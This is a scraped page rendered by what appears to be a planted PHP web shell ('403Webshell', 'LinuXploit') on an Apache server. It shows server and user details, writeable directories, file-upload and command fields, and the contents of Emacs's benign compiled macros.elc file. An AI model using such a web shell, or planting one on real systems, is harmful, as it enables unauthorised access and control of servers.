403Webshell
Server IP : 217.160.0.212  /  Your IP : 216.73.216.141
Web Server : Apache
System : Linux www 6.18.51-i1-ampere #1196 SMP Fri Sep 11 20:43:55 CEST 2026 aarch64
User : sws1073854427 ( 1073854427)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/emacs/28.2/lisp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/emacs/28.2/lisp/macros.elc
;ELC
;;; Compiled
;;; in Emacs version 28.2
;;; with all optimizations.



(byte-code "\300\301!\210\302\303\304\"\207" [require kmacro defalias name-last-kbd-macro kmacro-name-last-macro] 3)
#@71 Print DEFINITION, a vector, into the current buffer.

(fn DEFINITION)
(defalias 'macros--insert-vector-macro #[257 "\300\301\302\303#\304\261\207" [91 mapconcat #[257 "\300!\206	\301!\207" [prin1-char prin1-to-string] 3 "\n\n(fn EVENT)"] " " 93] 6 (#$ . 201)])
#@650 Insert in buffer the definition of kbd macro MACRONAME, as Lisp code.
MACRONAME should be a symbol.
Optional second arg KEYS means also record the keys it is on
(this is the prefix argument, when calling interactively).

This Lisp code will, when executed, define the kbd macro with the same
definition it has now.  If you say to record the keys, the Lisp code
will also rebind those keys to the macro.  Only global key bindings
are recorded since executing this Lisp code always makes global
bindings.

To save a kbd macro, visit a file of Lisp code such as your `~/.emacs',
use this command, and then save the file.

(fn MACRONAME &optional KEYS)
(defalias 'insert-kbd-macro #[513 "\301C\302!\303\230\203\300\262\211\240\210\304c\210\202\211K\240\210\305c\210\306p\"\210\307c\210\211\242;\203A`\301\306\242p\"\210\310 \262b\210`W\203<g\211\311U\203U``T|\210\312c\266\202<\211\313W\203k``T|\210\314\315\\\261\266\202<\211\316U\203}``T|\210\317c\266\202<\211\320W\203\223``T|\210\314\321\\\261\266\202<\211\322W\203\240\323u\266\202<\211\322U\203\262``T|\210\324c\266\202<\211\325U\203\304``T|\210\326c\266\202<\211\327U\203\326``T|\210\330c\266\202<\211\331W\203\354``T|\210\332\320Z\261\266\202<\211\333W\203``T|\210\332\321Z\261\266\202<\211\334U\203``T|\210\335c\266\202<\211\336W\203*``T|\210\337\325Z\261\266\202<\211\336U\2038``T|\210\340c\210\210\202<\266\202\263\341\242!\203P\342\242!\210\202\263\343\344\242!\211:\203\256\211\242\243\211:\203\246\211\242\243\211:\203\235\211\242\243\211\204\223\345c\210\342!\210\346c\210\306p\"\210\346c\210\306p\"\210\347c\266	\202\263	!\266	\202\263!\266\202\263!\266\202\263!\266\350c\210\205\347\351K\352\"\206\306\351\353\"\211\205\345\354c\210\306@p\"\210\355c\210\306p\"\210\350c\210\211A\262\202\306\262\207" [last-kbd-macro nil symbol-name "" "(setq " "(fset '" prin1 "\n   " point-marker 0 "\\C-@" 27 "\\C-" 96 28 "\\C-\\\\" 32 64 127 1 "\\C-?" 128 "\\M-\\C-@" 156 "\\M-\\C-\\\\" 155 "\\M-\\C-" 160 220 "\\M-\\\\" 255 "\\M-" "\\M-\\C-?" vectorp macros--insert-vector-macro #[257 "\300\242p\"\207" [prin1] 4 "\n\n(fn DEFINITION)"] kmacro-extract-lambda "(kmacro-lambda-form " " " ")" ")\n" where-is-internal (keymap) (keymap) "(global-set-key " " '"] 14 (#$ . 474) (byte-code "\302\303\304\305\306$!	D\207" [obarray current-prefix-arg intern completing-read "Insert kbd macro (name): " kmacro-keyboard-macro-p t] 6)])
#@610 Query user during kbd macro execution.

With prefix argument FLAG, enter recursive edit, reading
keyboard commands even within a kbd macro.  You can give
different commands each time the macro executes.

Without prefix argument, ask whether to continue running the
macro.

Your options are: \<query-replace-map>

\[act]	Finish this iteration normally and continue with the next.
\[skip]	Skip the rest of this iteration, and start the next.
\[exit]	Stop the macro entirely right now.
\[recenter]	Redisplay the screen, then ask again.
\[edit]	Enter recursive edit; ask again when you exit from that.

(fn FLAG)
(defalias 'kbd-macro-query #[257 "\204\f	\204\f\306\307!\210\211\203\310\211\311 *\207\205\304\312\313\314!\205\302\310\211\315\316\"\210\317 *\310\320!\262\321\n\"\262\211\322\267\202z\310\262\266\202 \310\262\323\266\202 \310\262\312\266\202 \324\310!\266\202 \310\211\311 \210*\266\202 \312\266\202 \211\325=\204\203\326 \210\fr\327\330!q\210p\331 \210\310\211!\312\211\"\312#$\332 \210\333\334!\210+\211%\335\313\336!!\210r%q\210\337 \210)\340!\210)\266\202 \266\202\207" [executing-kbd-macro defining-kbd-macro query-replace-map quit-flag default-directory buffer-read-only user-error "Not defining or executing kbd macro" nil recursive-edit t substitute-command-keys "Proceed with macro?\\<query-replace-map> (\\[act], \\[skip], \\[exit], \\[recenter], \\[edit]) " message "%s" read-event vector lookup-key #s(hash-table size 6 test eq rehash-size 1.5 rehash-threshold 0.8125 purecopy t data (act 66 skip 74 exit 84 recenter 94 edit 102 quit 115)) "" recenter help ding get-buffer-create "*Help*" kill-all-local-variables erase-buffer run-hooks temp-buffer-setup-hook princ "Specify how to proceed with keyboard macro execution.\nPossibilities: \\<query-replace-map>\n\\[act]	Finish this iteration normally and continue with the next.\n\\[skip]	Skip the rest of this iteration, and start the next.\n\\[exit]	Stop the macro entirely right now.\n\\[recenter]	Redisplay the screen, then ask again.\n\\[edit]	Enter recursive edit; ask again when you exit from that." help-mode internal-temp-output-buffer-show buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only standard-output] 11 (#$ . 2967) "P"])
#@1393 Apply last keyboard macro to all lines in the region.
For each line that begins in the region, move to the beginning of
the line, and run the last keyboard macro.

When called from lisp, this function takes two arguments TOP and
BOTTOM, describing the current region.  TOP must be before BOTTOM.
The optional third argument MACRO specifies a keyboard macro to
execute.

This is useful for quoting or unquoting included text, adding and
removing comments, or producing tables where the entries are regular.

For example, in Usenet articles, sections of text quoted from another
author are indented, or have each line start with `>'.  To quote a
section of text, define a keyboard macro which inserts `>', put point
and mark at opposite ends of the quoted section, and use
`\[apply-macro-to-region-lines]' to mark the entire section.

Suppose you wanted to build a keyword table in C where each entry
looked like this:

    { "foo", foo_data, foo_function },
    { "bar", bar_data, bar_function },
    { "baz", baz_data, baz_function },

You could enter the names in this format:

    foo
    bar
    baz

and write a macro to massage a word into a table entry:

    \C-x (
       \M-d { "\C-y", \C-y_data, \C-y_function },
    \C-x )

and then select the region of un-tablified names and use
`\[apply-macro-to-region-lines]' to build the table from the names.

(fn TOP BOTTOM &optional MACRO)
(defalias 'apply-macro-to-region-lines #[770 "\211\204\204\f\302\303!\210\262\212\304!\305b\210n\204\306y\210\307 \262\211W\203@\211b\210\212\306y\210\211`\305\223\210)\212\305\310!\210*\202\"\305\211\223\210\211\305\211\223\266\202)\207" [last-kbd-macro mark-active user-error "No keyboard macro has been defined" copy-marker nil 1 point-marker execute-kbd-macro] 8 (#$ . 5265) "r"])
(provide 'macros)

Youez - 2016 - github.com/yon3zu
LinuXploit